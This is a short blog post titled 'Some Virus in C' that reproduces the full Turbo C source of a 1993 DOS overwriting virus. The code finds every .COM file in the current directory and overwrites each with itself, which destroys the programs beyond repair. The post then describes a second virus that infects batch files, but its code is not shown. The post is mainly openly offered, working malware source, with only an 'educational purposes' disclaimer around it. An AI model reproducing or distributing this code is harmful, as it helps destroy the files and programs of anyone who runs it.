Some Virus in C
VIRUS CODING IN C LANGUAGE
1)FEATURES OF THIS VIRUS
/* This is a simple overwriting virus programmed in Turbo C */
/* It will infect all .COM files in the current directory */
/* Infections destroy the programs and cannot be cured */
/* It was presented in Virology 101 (c) 1993 Black Wolf */
/* FOR EDUCATIONAL PURPOSES ONLY, DO NOT RELEASE! */
#include
#include
#include
FILE *Virus,*Host;
int x,y,done;
char buff[256];
struct ffblk ffblk;
main()
{
done = findfirst("*.COM",&ffblk,0); /* Find a .COM file */
while (!done) /* Loop for all COM's in DIR*/
{
printf("Infecting %s\n", ffblk.ff_name); /* Inform user */
Virus=fopen(_argv[0],"rb"); /* Open infected file */
Host=fopen(ffblk.ff_name,"rb+"); /* Open new host file */
x=9504; /* Virus size - must */
/* be correct for the */
/* compiler it is made */
/* on, otherwise the */
/* entire virus may not*/
/* be copied!! */
while (x>256) /* OVERWRITE new Host */
{ /* Read/Write 256 byte */
fread(buff,256,1,Virus); /* chunks until bytes */
fwrite(buff,256,1,Host); /* left < 256 */
x-=256;
}
fread(buff,x,1,Virus); /* Finish off copy */
fwrite(buff,x,1,Host);
fcloseall(); /* Close both files and*/
done = findnext(&ffblk); /* go for another one. */
}
/* Activation would go */
/* here */
return (0); /* Terminate */
}
The next virus to be presented is also in C, but is quite a
bit different in functioning than the last. Instead of infecting
executable files by overwriting them, it infects .BAT files by
the directory. When executed, BAT&COM will first search one
directory below the current for batch files. If none are found,
it will try the root directory, then finally the DOS directory.
If it finds any batch files, it will infect all of the batches
in the directory, then check to see if its file has already
been put there. If not, then it will create a file called
BAT&COM containing the virus. On my setup, after EXE2BIN-ing
the file, it came out around 10k. The virus code is as follows:
0 Comments:
Post a Comment
Subscribe to Post Comments [Atom]
<< Home